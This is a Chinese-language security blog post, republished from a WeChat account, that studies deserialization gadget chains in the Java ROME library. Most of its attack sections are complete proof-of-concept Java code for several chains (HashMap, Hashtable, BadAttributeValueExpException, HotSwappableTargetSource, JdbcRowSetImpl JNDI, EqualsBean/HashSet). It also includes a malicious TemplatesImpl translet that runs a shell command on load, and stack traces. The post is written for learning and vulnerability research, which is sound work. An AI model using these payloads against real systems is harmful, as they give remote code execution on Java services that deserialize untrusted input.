Java安全小记-Rome反序列化

admin 2025年1月16日23:12:40评论14 views字数 19350阅读64分30秒阅读模式

前言

之前没学习过rome反序列化这里学习一下因为能和二次反序列化结合

介绍

ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。

Rome 提供了 ToStringBean 这个类,提供深入的 toString 方法对JavaBean进行操作。

环境依赖

    <dependencies>        <dependency>            <groupId>rome</groupId>            <artifactId>rome</artifactId>            <version>1.0</version>        </dependency>    </dependencies>

调试流程

调用链

 * TemplatesImpl.getOutputProperties() * ToStringBean.toString(String) * ToStringBean.toString() * ObjectBean.toString() * EqualsBean.beanHashCode() * ObjectBean.hashCode() * HashMap<K,V>.hash(Object) * HashMap<K,V>.readObject(ObjectInputStream)

其实这里主要的漏洞点是在ToStringBean.toString()这里来看一下

Java安全小记-Rome反序列化

这个方法可以调用任意类的getter方法,主要是在getPropertyDescriptors方法中看看

Java安全小记-Rome反序列化

这个方法中存在一个getPDs方法跟进去

Java安全小记-Rome反序列化

就是获得 class 的 getter 和 setter 方法。然后回到上面的 **getPropertyDescriptors** 方法,在获得 getter 和 setter 方法后调用了 **_introspected.put** 处理。**_introspected** 就是上面的 hashmap 对象。意思就是调用了 hashmap 的 put 方法把方法存进了 map 中,然后在 ToStringBean. toString 进行遍历 map 。

所以其实这里的利用就很显而易见了就可以直接结合templates链进行利用加载恶意的字节码了。这里看一下该类的构造方法

Java安全小记-Rome反序列化

其中_beanClass为JavaBean类型的class,_obj为要调用的实例对象,这里要传入的当然就是要利用的TemplatesImpl所以这里我们剋手动调用一下toString方法

package com.ocean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.ToStringBean;import javax.xml.transform.Templates;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;publicclassRome_test{publicstaticvoidmain(String[] args)throws Exception {        TemplatesImpl templatesimpl = new TemplatesImpl();byte[] bytecodes = Files.readAllBytes(Paths.get("/Users/ocean/Cybersecurity/Java_project/Rome_stu/src/main/java/Exp.class"));        setValue(templatesimpl,"_name","aaa");        setValue(templatesimpl,"_bytecodes",newbyte[][] {bytecodes});        setValue(templatesimpl, "_tfactory"new TransformerFactoryImpl());        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);        toStringBean.toString();    }publicstaticvoidsetValue(Object obj,String fieldName,Object value)throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj,value);    }}

是可以成功弹出计算器的。

现在就是要找前半部分的构造链了,现在就是要找到一个能够调用toString方法的类并且可控,在ROME中存在着EqualsBean类的beanHashCode方法存在着能够调用toString方法,并且obj可控

Java安全小记-Rome反序列化
Java安全小记-Rome反序列化

所以接下里要找谁调用了beanHashCode方法,可以找打在同类下存在一个hashcode方法调用了该方法

Java安全小记-Rome反序列化

再去找hashcode的调用很容易可以想到hashmap可以调用到hashcode方法

Java安全小记-Rome反序列化

hashmap的readObject方法中是能够调用到hash方法的然后在看看hash方法

Java安全小记-Rome反序列化

这里key会调用hashcode方法。所以到此整个流程就比较明了了可以直接写POC了

hashmap+TemplatesImpl利用链

自己构造的恶意类

import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;publicclassExpextendsAbstractTranslet{@Overridepublicvoidtransform(DOM document, SerializationHandler[] handlers)throws TransletException {    }@Overridepublicvoidtransform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)throws TransletException {    }publicExp()throws IOException {try {            Runtime.getRuntime().exec("open -a Calculator");        }catch (Exception e){            e.printStackTrace();        }    }}

这里还是要记得不要含有包名要不然编译的时候可能会报错

Java安全小记-Rome反序列化

放到java目录下就可以了

package com.ocean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ToStringBean;import javax.xml.transform.Templates;import java.io.*;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.lang.reflect.Field;publicclassRome_EqualsBean{publicstaticvoidmain(String[] args)throws Exception {        TemplatesImpl templatesimpl = new TemplatesImpl();byte[] bytecodes = Files.readAllBytes(Paths.get("/Users/ocean/Cybersecurity/Java_project/Rome_stu/src/main/java/Exp.class"));        setValue(templatesimpl,"_name","aaa");        setValue(templatesimpl,"_bytecodes",newbyte[][] {bytecodes});        setValue(templatesimpl, "_tfactory"new TransformerFactoryImpl());        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);        HashMap<Object,Object> hashMap = new HashMap<>();        hashMap.put(equalsBean, "123");//Serialize(hashMap);        DeSerialize("ser.bin");    }publicstaticvoidSerialize(Object o)throws IOException {        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));        oos.writeObject(o);    }publicstatic Object DeSerialize(String s)throws IOException, ClassNotFoundException {        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(s));return ois.readObject();    }publicstaticvoidsetValue(Object obj,String fieldName,Object value)throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj,value);    }}

下面几种ROME利用链的后半段较为固定,都是使用TemplatesImpl.getOutputProperties()进行任意类加载,所以这里的其他利用链都是针对前半段入口处进行替换的。

ObjectBean利用

Java安全小记-Rome反序列化
Java安全小记-Rome反序列化

可以看到ObjectBean也存在hashcode方法并且也调用了beanHashcode方法,并且也都可控所以只需要将

EqualsBean换成ObjectBean即可

package com.ocean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;publicclassRemote_ObjectBean{publicstaticvoidmain(String[] args)throws Exception {        TemplatesImpl templatesimpl = new TemplatesImpl();byte[] bytecodes = Files.readAllBytes(Paths.get("/Users/ocean/Cybersecurity/Java_project/Rome_stu/src/main/java/Exp.class"));        setValue(templatesimpl,"_name","aaa");        setValue(templatesimpl,"_bytecodes",newbyte[][] {bytecodes});        setValue(templatesimpl, "_tfactory"new TransformerFactoryImpl());        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);        ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);        HashMap<Object,Object> hashMap = new HashMap<>();        hashMap.put(objectBean, "123");        Serialize(hashMap);        DeSerialize("ser.bin");    }publicstaticvoidsetValue(Object obj, String name, Object value)throws Exception{        Field field = obj.getClass().getDeclaredField(name);        field.setAccessible(true);        field.set(obj, value);    }publicstaticvoidSerialize(Object o)throws IOException {        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));        oos.writeObject(o);    }publicstatic Object DeSerialize(String s)throws IOException, ClassNotFoundException {        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(s));return ois.readObject();    }}

HashTable利用链

HashTable利用链只是更换了HashMap入口类而已其他的流程还是不变,看一下HashTable的入口点Java安全小记-Rome反序列化

可以看到会调用reconstitutionPut方法跟进去看看

Java安全小记-Rome反序列化

可以看到会调用hashcode方法所以后面就很明了了,可以将HashTable替换为HashMap集合EualsBean和ObjectBean进行利用

HashTbale+ObjectBean

package com.ocean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Hashtable;publicclassRemo_HashTable_ObjectBean{publicstaticvoidmain(String[] args)throws Exception {        TemplatesImpl templatesimpl = new TemplatesImpl();byte[] bytecodes = Files.readAllBytes(Paths.get("/Users/ocean/Cybersecurity/Java_project/Rome_stu/src/main/java/Exp.class"));        setValue(templatesimpl,"_name","aaa");        setValue(templatesimpl,"_bytecodes",newbyte[][] {bytecodes});        setValue(templatesimpl, "_tfactory"new TransformerFactoryImpl());        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);        ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);        Hashtable hashtable = new Hashtable();        hashtable.put(objectBean,"123");        Serialize(hashtable);        DeSerialize("ser.bin");    }publicstaticvoidsetValue(Object obj, String name, Object value)throws Exception{        Field field = obj.getClass().getDeclaredField(name);        field.setAccessible(true);        field.set(obj, value);    }publicstaticvoidSerialize(Object o)throws IOException {        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));        oos.writeObject(o);    }publicstatic Object DeSerialize(String s)throws IOException, ClassNotFoundException {        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(s));return ois.readObject();    }}

HashTbale+EqualsBean

package com.ocean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Hashtable;publicclassRemo_HashTable_EqualsBean{publicstaticvoidmain(String[] args)throws Exception {        TemplatesImpl templatesimpl = new TemplatesImpl();byte[] bytecodes = Files.readAllBytes(Paths.get("/Users/ocean/Cybersecurity/Java_project/Rome_stu/src/main/java/Exp.class"));        setValue(templatesimpl,"_name","aaa");        setValue(templatesimpl,"_bytecodes",newbyte[][] {bytecodes});        setValue(templatesimpl, "_tfactory"new TransformerFactoryImpl());        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);        Hashtable hashtable = new Hashtable();        hashtable.put(equalsBean,"123");        Serialize(hashtable);        DeSerialize("ser.bin");    }publicstaticvoidsetValue(Object obj, String name, Object value)throws Exception{        Field field = obj.getClass().getDeclaredField(name);        field.setAccessible(true);        field.set(obj, value);    }publicstaticvoidSerialize(Object o)throws IOException {        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));        oos.writeObject(o);    }publicstatic Object DeSerialize(String s)throws IOException, ClassNotFoundException {        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(s));return ois.readObject();    }}

BadAttributeValueExpException利用链

这里其实利用的是BadAttributeValueExpException可以调用任意类的toString方法,我们在cc5链、fastjson的时候都分析过

Java安全小记-Rome反序列化
Java安全小记-Rome反序列化

这里可以看到是可以调用toString方法的但由于在其构造函数中也调用了toString(),为了避免提前触发漏洞,我们可以利用反射修改val的值为需要调用toString()方法的类。

package com.ocean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;publicclassRemo_BadAttributeValueExpException{publicstaticvoidmain(String[] args)throws Exception {        TemplatesImpl templatesimpl = new TemplatesImpl();byte[] bytecodes = Files.readAllBytes(Paths.get("/Users/ocean/Cybersecurity/Java_project/Rome_stu/src/main/java/Exp.class"));        setValue(templatesimpl,"_name","aaa");        setValue(templatesimpl,"_bytecodes",newbyte[][] {bytecodes});        setValue(templatesimpl, "_tfactory"new TransformerFactoryImpl());        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(111);        setValue(badAttributeValueExpException,"val",toStringBean);        Serialize(badAttributeValueExpException);        DeSerialize("ser.bin");    }publicstaticvoidsetValue(Object obj, String name, Object value)throws Exception{        Field field = obj.getClass().getDeclaredField(name);        field.setAccessible(true);        field.set(obj, value);    }publicstaticvoidSerialize(Object o)throws IOException {        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));        oos.writeObject(o);    }publicstatic Object DeSerialize(String s)throws IOException, ClassNotFoundException {        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(s));return ois.readObject();    }}

HotSwappableTargetSource利用链

这里其实在Fastjson中有提到过利用他的Xstring能够触发toString方法具体执行流程可以参考写的笔记

Fasjson 完整版这里有记录HotSwappableTargetSource执行流程。了解完执行流程就可以很快明白以下poc

环境依赖

<dependency>      <groupId>org.springframework</groupId>      <artifactId>spring-aop</artifactId>      <version>5.3.24</version>    </dependency>
package com.ocean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xpath.internal.objects.XString;import com.sun.syndication.feed.impl.ToStringBean;import org.springframework.aop.target.HotSwappableTargetSource;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;publicclassRemo_HotSwappableTargetSource{publicstaticvoidmain(String[] args)throws Exception {        TemplatesImpl templatesimpl = new TemplatesImpl();byte[] bytecodes = Files.readAllBytes(Paths.get("/Users/ocean/Cybersecurity/Java_project/Rome_stu/src/main/java/Exp.class"));        setValue(templatesimpl,"_name","aaa");        setValue(templatesimpl,"_bytecodes",newbyte[][] {bytecodes});        setValue(templatesimpl, "_tfactory"new TransformerFactoryImpl());        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);        HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean);        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));        HashMap<Object,Object> hashMap = new HashMap<>();        hashMap.put(h1, "123");        hashMap.put(h2,"123");        Serialize(hashMap);        DeSerialize("ser.bin");    }publicstaticvoidsetValue(Object obj, String name, Object value)throws Exception{        Field field = obj.getClass().getDeclaredField(name);        field.setAccessible(true);        field.set(obj, value);    }publicstaticvoidSerialize(Object o)throws IOException {        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));        oos.writeObject(o);    }publicstatic Object DeSerialize(String s)throws IOException, ClassNotFoundException {        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(s));return ois.readObject();    }}

JdbcRowSetImpl利用链

这里这条链跟前面的有点不太一样,他是去替换templatesImpl的是替换的后半段,我们来看看为什么,前面说到过rmoe可以触发任意类的getter方法,所以这里肯定是去找JdbcRowSetImpl这条链的get方法

Java安全小记-Rome反序列化

这里能够找到存在一个getDatabaseMetaData方法它里面调用了一个connect方法我们跟进去

Java安全小记-Rome反序列化

可以看到这里很明显的jndi注入。

lookUp里的值是去调用他父类BaseRowSet的getDataSourceName方法获取的

Java安全小记-Rome反序列化

所以可以构造POC

publicstaticvoidmain(String[] args)throws Exception{// ldap url        String url = "ldap://127.0.0.1:1389/nils4f";// 创建JdbcRowSetImpl对象        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();        Field dataSource = BaseRowSet.class.getDeclaredField("dataSource");        dataSource.setAccessible(true);        dataSource.set(jdbcRowSet, url);// 创建ToStringBean对象        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.classjdbcRowSet);// 创建ObjectBean        ObjectBean objectBean = new ObjectBean(ToStringBean.classtoStringBean);// 创建HashMap        HashMap hashMap = new HashMap();        hashMap.put(objectBean, "bbbb");// 序列化        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("JdbcRowExp.bin"));        objectOutputStream.writeObject(hashMap);        objectOutputStream.close();// 反序列化        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("JdbcRowExp.bin"));        objectInputStream.readObject();        objectInputStream.close();    }

我在windows环境下复现成功了但是mac下没有不知道啥原因哈哈哈有懂得师傅教教

Java安全小记-Rome反序列化

这里的入口点hashMap是可以更改的然后中间的ObejctBean还有EqualsBean都可以灵活搭配使用。

EqualsBean链

这条链的主要关键点在于EqualsBean类中存在一个方法是beanEquals方法来看一下这个方法

Java安全小记-Rome反序列化

这里可以看到他和ToStringBean类的tostring方法很像也是可以任意调用getter方法的,所以其实这里关键点就是找到谁能够调用了这个beanEquals方法

Java安全小记-Rome反序列化

可以看到在他同类下的equals方法调用了该方法,前面在分析触发toString方法时提到过使用equals方法进行触发

所以下面就是寻找调用equals方法的地方。

Java安全小记-Rome反序列化

在HashMap的父类AbstractMap类中的equals方法中调用了equals方法

所以可以构造出来payload,师傅可以自己根据poc的调用栈去分析能更好懂一点

getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)beanEquals:146, EqualsBean (com.sun.syndication.feed.impl)equals:103, EqualsBean (com.sun.syndication.feed.impl)equals:472, AbstractMap (java.util)putVal:634, HashMap (java.util)put:611, HashMap (java.util)readObject:334, HashSet (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)invokeReadObject:1058, ObjectStreamClass (java.io)readSerialData:1900, ObjectInputStream (java.io)readOrdinaryObject:1801, ObjectInputStream (java.io)readObject0:1351, ObjectInputStream (java.io)readObject:371, ObjectInputStream (java.io)DeSerialize:54, Remo_EqualsBean (com.ocean)main:45, Remo_EqualsBean (com.ocean)

直接给出poc

package com.ocean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ToStringBean;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.HashSet;publicclassRemo_EqualsBean{publicstaticvoidmain(String[] args)throws Exception {        TemplatesImpl templatesimpl = new TemplatesImpl();byte[] bytecodes = Files.readAllBytes(Paths.get("/Users/ocean/Cybersecurity/Java_project/Rome_stu/src/main/java/Exp.class"));        setValue(templatesimpl,"_name","aaa");        setValue(templatesimpl,"_bytecodes",newbyte[][] {bytecodes});        setValue(templatesimpl, "_tfactory"new TransformerFactoryImpl());        EqualsBean bean = new EqualsBean(String.class, "s");        HashMap map1 = new HashMap();        HashMap map2 = new HashMap();        map1.put("yy", bean);        map1.put("zZ", templatesimpl);        map2.put("zZ", bean);        map2.put("yy", templatesimpl);        HashSet table = new HashSet();        table.add(map1);        table.add(map2);        setValue(bean, "_beanClass", Templates.class);        setValue(bean, "_obj", templatesimpl);        Serialize(table);        DeSerialize("ser.bin");    }publicstaticvoidSerialize(Object o)throws IOException {        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));        oos.writeObject(o);    }publicstatic Object DeSerialize(String s)throws IOException, ClassNotFoundException {        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(s));return ois.readObject();    }publicstaticvoidsetValue(Object obj,String fieldName,Object value)throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj,value);    }}
Java安全小记-Rome反序列化

其实这里具体为什么要put两次map呢我个人的看法,就是在putVal这个方法里为了满足这个判断条件就是要key的hash值相等。

:这里的HashMap、HashSet、HashTable都可以相互替换参考:https://goodapple.top/archives/1145

https://boogipop.com/2024/02/12/%E6%98%93%E6%87%82%E7%9A%84Rome%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%88%E6%9B%B4%E6%96%B0%EF%BC%89/

Rome反序列化

原文始发于微信公众号(土拨鼠的安全屋):Java安全小记-Rome反序列化

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月16日23:12:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java安全小记-Rome反序列化http://cn-sec.com/archives/3626531.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息